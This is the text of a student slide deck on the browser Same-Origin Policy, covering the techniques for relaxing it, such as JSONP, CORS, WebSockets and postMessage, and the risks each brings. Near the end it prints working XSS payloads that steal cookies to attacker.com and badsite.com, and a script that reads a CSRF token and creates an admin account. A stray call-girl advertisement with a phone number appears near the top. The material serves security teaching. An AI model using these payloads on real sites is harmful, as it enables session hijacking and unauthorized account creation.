The "Same-Origin" Policy is one of the corner stones of the web application security model, but it can also be very restricting for web application developers. In this presentation, the different methods for weakening the "SOP" are presented, along with the possible security flaws introduced in the web applications.
Model Call Girl in Narela Delhi reach out to us at 🔝8264348440🔝
The Same-Origin Policy
1. The Same-Origin Policy
Master in Engineering in Computer Science
Web Security and Privacy:
Web Application Security Homework
a.y. 2016-17
Student: Fabrizio Farinacci
1
2. 2
Hello!
I AM FABRIZIO FARINACCI
You can find me at:
https://www.linkedin.com/in/fabrizio-farinacci-496679116/
4. SOP in a nutshell
Restrict the access to the elements in the
Document Object Model of a page only to the
scripts having the exact same origin of the
application serving that page.
4
5. The Origin check
● An origin is defined as a combination of URI
scheme, hostname and port number: so origin
are triples of the form {protocol, host, port}.
● Only if the web pages have the exact same
origin the SOP check will succeed.
● This prevents the unpleasant situation in which a
malicious script from a different origin manages
to access sensitive data on another web page
5
6. The SOP: an example
URL Outcome Reason
http://store.company.com/dir2/other.html Success
http://store.company.com/dir/inner/another.html Success
https://store.company.com/secure.html Failure Different protocol
http://store.company.com:81/dir/etc.html Failure Different port
http://login.company.com/dir/other.html Failure DIfferent host
http://company.com/dir/other.html Failure Different host
http://store.company.com:80/dir/other.html Depends Port explicit*
6
Ex. Performing the check against the URL: http://store.company.com/dir/page.html
*The outcome depends on the specific browser's implementation of the SOP.
7. What threats we want to protect from?
● The stateless nature of HTTP requires the use
cookies to preserve authenticated session of users
● Problem: The ownership of those cookies it is
sufficient to prove the user identity to the server
● Cross-Site Request Forgery (CSRF) attacks:
Unauthorized requests are transmitted to the
web-apps exploiting opened user sessions.
● Protection: Web-apps that use JavaScript may use
anti-CSRF techniques relying on same-origin policy.
7
8. Anti-CSRF protection: an example
● Upon login, Csrf-token is set for the user:
Set-Cookie: Csrf-token=i7XNjC4b8KVok3uw5RftR38Wgp2DFwql;
expires=Tues, 30-May-2017 11:25:33 GMT;
Max-Age=31449600;
Path=/
● To make a request, the Javascript must read the cookie value
and copy it into a X-Csrf-Token header:
X-Csrf-Token: i7XNjC4b8KVok3uw5RftR38Wgp2DFwql
● Protection: Javascript originating from different locations
cannot read the cookie value when returned in the response
or once stored in the DOM. CSRF attacks cannot perform
valid requests without the knowledge of the Csrf-token.
8
10. Why bypassing SOP?
● Example: a big company with base domain
company.com deploys its services on multiple
subdomains such as store.company.com,
login.company.com and so on.
● Problem: the same-origin policy check will fail
when a script originating from one subdomain
tries to read data from a second subdomain or
even from the original base domain.
● Goal: Weaken the SOP enabling subdomain of the
same base domain to cooperate.
10
11. Cross-origin requests vs. the SOP
● Cross-Origin Network Access: requests that span
two different origins (e.g. XHR or <img>).
● Those are controlled by the SOP:
○ Cross-origin writes (e.g. forms) allowed
○ Cross-origin reads (e.g. responses) disallowed
○ Cross-origin embeddings allowed, for
example:
■ Images: <img>
■ Javascripts: <script src=”...”></script>
■ Web pages: <frame> or <iframe>
■ …
● AJAX call restrictions favors the policy relaxation!
11
12. Techniques for bypassing SOP
Techniques for bypassing SOP can be divided in:
● Manipulating the origin of documents:
○ The document.property
● Exploiting allowed cross-origin embeddings:
○ JSONP
○ The iframe hack
● Avoiding browser-to-server cross-origin calls:
○ Cross-document messaging
○ Server side proxies
● Restricting access with origin whitelisting:
○ WebSockets
○ Cross-Origin Resource Sharing
12
15. The document.domain property
● Explicitly change the document.domain property of
the web page using Javascript.
● Example: In a company, login.company.com is the
subdomain in charge of authenticating the users
while store.company.com is the subdomain in
charge of maintaining the virtual-cart of the users.
We would like the two to freely interact, without
having to care about the SOP.
● Solution: change the value of their
document.domain property from their current
domain to a superdomain of their current domain
(i.e. company.com).
15
16. Changing document.domain property
Running the following Javascript code for both the
pages of the two subdomains achieves the desired
effect of changing the origin of the documents to
company.com, passing the SOP check:
// For the URI http://store.company.com/dir/page.html the
// following sets domain to the string "store.company.com"
var domain = document.domain;
…
// The following changes the value of document.domain
// to the superdomain "company.com"
document.domain = "company.com"
16
17. The document.domain property (cont’d)
● The document.domain property can be changed only
a to superdomain of the current domain, but in any
case restricted to its base domain.
● Anything belonging to the base domain will have the
permission to access to the DOM of the web pages
affected by the change.
● Problem: The attack surface of the web application is
enlarged. It is sufficient to have another vulnerable
application (e.g. http://exploitable.company.com) to
compromise the security of the other applications
17
20. JSONP: the idea
● Cross-domain script inclusion, used to externally
load Javascript libraries as jQuery, is allowed.
● Idea: Use the <script src="..."></script> element
to carry data in form of JSON from one domain
to another in a cross-origin manner.
● Ex. Data at
htttp://retailer.com/products/[prod-id]:
{
"Name": "FamousProduct",
"Brand": "FamousBrand",
"Price": 29.99,
"InStock": 10
}
20
21. JSONP: how it works?
● Problem: Javascript a variable assignment to access
the data loaded by the <script> element.
● Solution: Instruct the server, via the callback
parameter to return the data “padded” as a call to a
local function
● The following JSONP call
<script
type="application/javascript"
src="htttp://retailer.com/products/[prod-id]?callback=parseProduct">
</script>
Triggers the following response from the server
parseProduct({"Name": "FamousProduct",
"Brand": "FamousBrand",
"Price": 29.99,
"InStock": 10});
21
22. JSONP: improving the scheme
● Problem: The previous scheme requires to statically modify
the page to adding <script> elements
● Solution: Use dynamic script element injection to inject
<script> element in the page when upon JSONP calls
● Is it possible to manually develop standalone solution or to
use already existing Javascript Helper Libraries such as
jQuery to inject <script> elements with a single call:
jQuery.getJSON("htttp://retailer.com/products/[prod-id]?callback=?",
function(data) {
// Process the JSON data …
}
);
resulting in the call to an library generated inline function:
jsonp7531527694438({"Name": "FamousProduct",
"Brand": "FamousBrand",
"Price": 29.99,
"InStock": 10});22
23. JSONP: security concerns
JSONP has some problems:
● Requires excessive trust: It’s essentially a self-inflicted
XSS vulnerability, since the JSONP service can send back
whatever it likes along with or in place of what requested.
● Introduces CSRF vulnerabilities: It enables to perform.
side-effects with GET requests, meaning that those has to
be treated as POST request to avoid introducing flaws.
● Raises mixed-content warnings: The presence of
cross-origin calls pushes browsers to raise warnings.
● Problematic user authentication: It’s difficult to
authenticate the users accessing the service.
23
24. The iframe hack
● One very old and hacky technique to implement some
form of cross-origin communication is the so-called
iframe hack or URL fragment hack.
● It originates from the following observations:
○ A parent window cannot read anything from a child
window on a different domain but...
○ A parent window can traverse any known elements
in each iframe it contains and…
○ parent window can set properties of iframes.
● So we get that: a parent window can navigate to iframes
belonging to its domain (even if their parents belong to
another one) and read/write the properties of this one.
24
25. The iframe hack : how it works?
● This enables to create a cross-origin channel:
○ The 2nd level iframe, sets the URL property of
the innermost iframe by changing what's after
the #, so that the page doesn't reload, and
writing the message for the uppermost iframe;
25
26. The iframe hack : how it works? (con’t)
● This enables to create a cross-origin channel:
○ The uppermost iframe reads the URL property
of the innermost iframe from its own domain
and reads the message from the other domain.
26
27. The iframe hack : concerns and limitations
● It’s a simple and very hacky technique, but:
○ There may be compatibility issues with
modern browsers
○ Size limitations of the exchanged message
○ Since the input is coming from a different
domain, this must be properly sanitized to
avoid the risk of XSS attacks.
27
29. “
General idea:
“Avoid making the browser send the
cross-origin request while providing other
means for cross origin communication”.
29
30. Cross-document messaging
● Idea: Use the HTML5 window.postMessage() method
to circumvent the SOP restrictions
● Calling window.postMessage() on a window reference,
enables a script running on a second window to pass
a message to a script running on a second page,
regardless of the script origin.
● The syntax of a window.postMessage() call is:
targetWindow.postMessage(message, targetOrigin, [transfer]);
○ targetWindow: a reference to the window
○ message: the serialized data to be sent
○ targetOrigin: the expected origin of targetWindow
○ transfer (Optional): sequence of object whose
ownership must be transferred to targetWindow
30
31. Cross-document messaging (cont’d)
● To listen for dispatched messages, the targetWindow
must register a user-defined listener:
window.addEventListener("message", receiveMessage, false);
function receiveMessage(event) {
// Check the origin is the expected one
if (event.origin !== "http://my-domain.com:8080")
return;
// Do something with the message …
}
● The messages have the following properties:
○ data: the message coming from the other window;
○ origin: the origin of the window sending the
message at the moment postMessage() was called;
○ source: a reference to the sender window.
31
32. Cross-document messaging: security concerns
To avoid that the so established cross-origin channels gets
misused, the following good practices must be fulfilled:
● If you don't expect to receive messages, do not add event
listener to handle MessageEvent
● Always verify the sender identity, using the origin and
possibly the source property. This because the origin property
gives no guarantee on the current origin of the window that
must be verified by opening a channel toward the source
meant for the received origin.
● Always specify an exact targetOrigin, don’t use “*”
● Always sanitize the received message, to prevent XSS attacks
32
33. Server side proxies
● Problem: The SOP prevents the browser to send
cross-origin requests.
● Solution: Deploy a proxy server and make this
one perform the cross-origin request on behalf
of the browser.
● Problem: The proxy must be secured against
attempts to compromise it. The security of the
application is the same as the security of the
proxy: if this gets compromised, then the
application gets compromised too.
33
35. “
General idea:
“Employ a origin whitelist at server side to
decide whether to accept a request or no”.
35
36. WebSockets
● Idea: Use the HTML5 WebSocket technology to
create full-duplex channels not subject to the SOP
// Open a websocket, possibly using the specified subprotocols
var ws = new WebSocket('ws://ws.server.com/ws', ['soap', 'xmpp']);
// When the connection is open…
ws.onopen = function( ) {
// Do something…
};
// When there's an error…
ws.onerror = function(error) {
// Do something…
};
// When receiving a message…
ws.onmessage = function(msg) {
// Do something…
};
// Send a message or data
ws.send(/* Put here your string or binary data */);36
37. The WebSocket protocol
● To use WebSockets it’s required to perform a
protocol upgrade to switch from http:// or https://
to ws:// or wss://, through a client-server handshake
Client request:
GET /ws HTTP/1.1
Host: ws.server.com
…
Cookie: session_id=i7XNjC4b8KVok3uw5RftR38Wgp2DFwql
Sec-WebSocket-Version: 13
Origin: ws.client.com
Sec-WebSocket-Key: x7nPlaiHMGDBuJeD6l7y/Q==Sec-
WebSocket-Protocol: soap, xmpp
Connection: Upgrade
Upgrade: websocket
Server response:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Sec-WebSocket-Protocol: soap
37
38. WebSockets: security concerns
In the WebSocket handshake, are sent:
● An Origin header, indicating the request origin;
● A cookie, used provide a form of client authentication: the
protocol doesn't specify any authentication mechanism, any
method available at a generic HTTP server is fine.
● A Sec-WebSocket-Key header, created and injected by the
browser to prove the handshake validity;
It is recommended to:
● Always check the origin against whitelists of allowed ones
● Use session-unique unguessable tokens (e.g. CSRF tokens)
Otherwise we risk a Cross-Site WebSocket Hijacking (CSWSH): a
CSRF attack with full bi-directional capabilities exploiting the
session of unconscious users.
38
39. Cross-Origin Resource Sharing
● The W3C Recommended Standard for performing
cross-origin requests
● Allows servers to setup cross-origin access control rules to
enable cross-origin data transfer in a controlled way.
39
40. CORS: simple vs. preflight requests
The request may follow two different paths:
● standard latency, employing the traditional one
request/one response pattern of HTTP requests
● added latency, to perform the CORS checks, employing a
so-called preflight request that antecedes the real request
We have a simple request when all the following holds:
● We use an HTTP method among GET, HEAD and POST
● Additional headers are CORS-safelisted request-headers
● The allowed values for the Content-Type header are:
application/x-www-form-urlencoded
multipart/form-data
text/plain
In the remaining cases we are in front of a preflight request.
40
41. CORS: the headers
● CORS defines a set of custom headers to be bundled within
request/responses by the browser/server respectively.
● The header specifies the origins that have the permission to
send the request to a resource. In the end is the browser that
must support and enforce the restrictions.
● The most important ones are:
○ Origin, specifying the origin and sent in each request
○ Access-Control-Allow-Origin, specifying the set of allowed
origins (or *) and sent in each response
41
Request:
GET /resources/resource HTTP/1.1
Host: b-domain.com
// Other allowed headers
Origin: http://a-domain.com
// Content of the request
Response:
HTTP/1.1 200 OK
…
Access-Control-Allow-Origin: http://a-domain.com | *
// Content of the response
42. CORS: preflight requests
● Preflight requests are addressed by the browser by
anteceding an OPTION request to the real request
● The response is examined to decide whether it is permitted to
execute the request (performed then as a simple one) or not
Preflight request:
OPTIONS /api/api-method/ HTTP/1.1
Host: b-domain.com
…
Origin: http://a-domain.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type
Preflight response:
HTTP/1.1 200 OK
…
Access-Control-Allow-Origin: http://a-domain.com
Access-Control-Allow-Methods: POST, OPTIONS
Access-Control-Allow-Headers: Content-Type
Access-Control-Max-Age: 86400
Access-Control-Allow-Credentials: true
42
43. CORS: observations
CORS enables:
● Web servers to perform a fine grain whitelisted control over
cross-origin request extending the support to cross-domain
AJAX-like invocations (e.g. XHR)
● To perform credentialed AJAX-like calls, securing them
against the possibility of CSRF attacks (so cookie hijacking),
by means of the Access-Control-Allow-Credentials header
So, it is considered the “safe” way of bypassing SOP… However:
● You must avoid the use of the “*”, that allows all the domains
● Strong anti-CSRF authentication mechanism must be
employed to prevent CSRF attacks and session hijacking
● You must use up-to-date browsers: is the browser that must
support and enforce the restrictions specified by the server
43
45. XSS, CSRF and Session Hijacking
● Problem: The attacker wants to hijack the user session using
XSS and CSRF attacks, possibly in combined way
● Goal: Steal the user cookie or exploit it to handcraft request
that are performed without the user consent
Example: XSS attack to steal the user cookie
HTTP/1.1 200 OK
…
Set-Cookie: session_id=i7XNjC4b8KVok3uw5RftR38Wgp2DFwql;
expires=Tues, 30-May-2017 11:25:33 GMT;
Max-Age=31449600;
Path=/
The cookie gets stolen when visiting a compromised page of the website:
<script>// <![CDATA[
document.write('
<img src="http://attacker.com/stealer.php?cookie="+
escape(document.cookie)>');
// ]]></script>45
46. Session Hijacking: A well-crafted attack
● Servers may protect their cookies from Javascript (using
the HttpOnly header) and enforce additional protection
against CSRF attacks (using CSRF-Tokens) but...
● In presence of vulnerabilities (e.g. XSS vulnerabilities),
knowledge of the target and a combination of CSRF and
XSS attacks session hijacking attacks may still take place
Ex. A well crafted attack against a web application
1. Make a POST request to “/admin/userControlPanel.php” to
obtain the X-CSRF-Token:
POST /admin/userControlPanel.php HTTP/1.1
Host: vuln.target.com…
Cookie: session_id=i7XNjC4b8KVok3uw5RftR38Wgp2DFwql
46
47. Session Hijacking: A well-crafted attack (cont’d)
2. Receive the response with the X-CSRF-Token:
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge; charset=utf-8">
<meta name="csrf-param" content="authenticity_token" />
<meta name="csrf-token"
content="TnVIYXJib3JTZWN1cml0eTpEX0t1ZG9zVG9Zb3VGb3JEZWNv="
/>
</html>
3. Make the authenticated request to “/admin/addUser.php”:
POST /admin/addUser.php HTTP/1.1
Host: vuln.target.com
…
X-CSRF-Token: TnVIYXJib3JTZWN1cml0eTpEX0t1ZG9zVG9Zb3VGb3JEZWNv
Cookie: session_id=i7XNjC4b8KVok3uw5RftR38Wgp2DFwql
…
user=Mallory&pass=psw&admin=true47
48. Session Hijacking: A well-crafted attack (cont’d)
The previous chain of request can be carried out by exploiting a
XSS vulnerability that enables the following XSS persistent attack:
<script>// <![CDATA[
data = "user=hacker&pass=myPassword&admin=true;
function requestA() {
xhr = new XMLHttpRequest();
xhr.open("GET", "/admin/userControlPanel.php", true);
xhr.onreadystatechange = function () { if (xhr.readyState == 4 && xhr.status == 200) {
var src = xhr.responseText;
p = /name=n"csrf-tokenn" content=n"(.*)(?=n")/;
var token = src.match(p)[1]; requestB(token);} }
xhr.send();
}
function requestB(token) {
xhrb = new XMLHttpRequest();
xhrb.open("POST", "/admin/addUser.php", true);
xhrb.setRequestHeader("X-CSRF-Token", token);
xhrb.setRequestHeader("content-type","application/x-www-form-urlencoded;charset=UTF-8");
xhrb.setRequestHeader("Content-length", data.length);
xhrb.setRequestHeader("Connection", "close"); xhrb.send(data);
}
RequestA();
// ]]></script>
48
49. The role of SOP
● The previous attack cannot be stopped, no matter if SOP
it is implemented or not. But...
● It requires the presence of severe XSS vulnerabilities and
deep knowledge of the application to attack
● In most of the cases, if the application is implementing
the proper protections (i.e. HttpOnly flag +
CSRF-Tokens), the SOP will protect against those
attacks.
● The real problems for the SOP arises when web
application developers decide to bypass the SOP: this, if
not done in the proper way, will very likely introduce
vulnerabilities that can be leveraged by attackers.
49
50. Weakening SOP: the JSONP case
● The most typical case is JSONP: a very famous and unsafe
solution that is very like a “self-inflicted” XSS vulnerability:
http://yoursite.com/jsonp.php?callback=(
function() {
$(document.body).append(
'<script
type="text/javascript"
src="http://badsite.com/?loot='+document.cookie+'">
</script>');
})//
That triggers the following code execution:
(function() {
$(document.body).append(
'<script
type="text/javascript"
src="http://badsite.com/?loot='+document.cookie+'">
</script>');
})//("f"foo": data, ...g");
50
51. Weakening SOP: conclusions
● It’s pretty obvious: if we bypass the controls the
SOP imposes, we have to remedy by controlling in
other ways the origin and the effects of a request.
● We could show other examples of session
hijacking attacks against each of the above
mentioned solutions but the core issues affecting
all of them is the same:
“Avoiding the restrictions means reducing the quality and the
variety of controls performed: to be protected against attacks
(such as cookie hijacking attacks) those controls must be
enforced and performed in other ways.”
51
52. Thanks!
ANY QUESTIONS?
52
You can find me on LinkedIn:
Fabrizio Farinacci: https://www.linkedin.com/in/fabrizio-farinacci-496679116/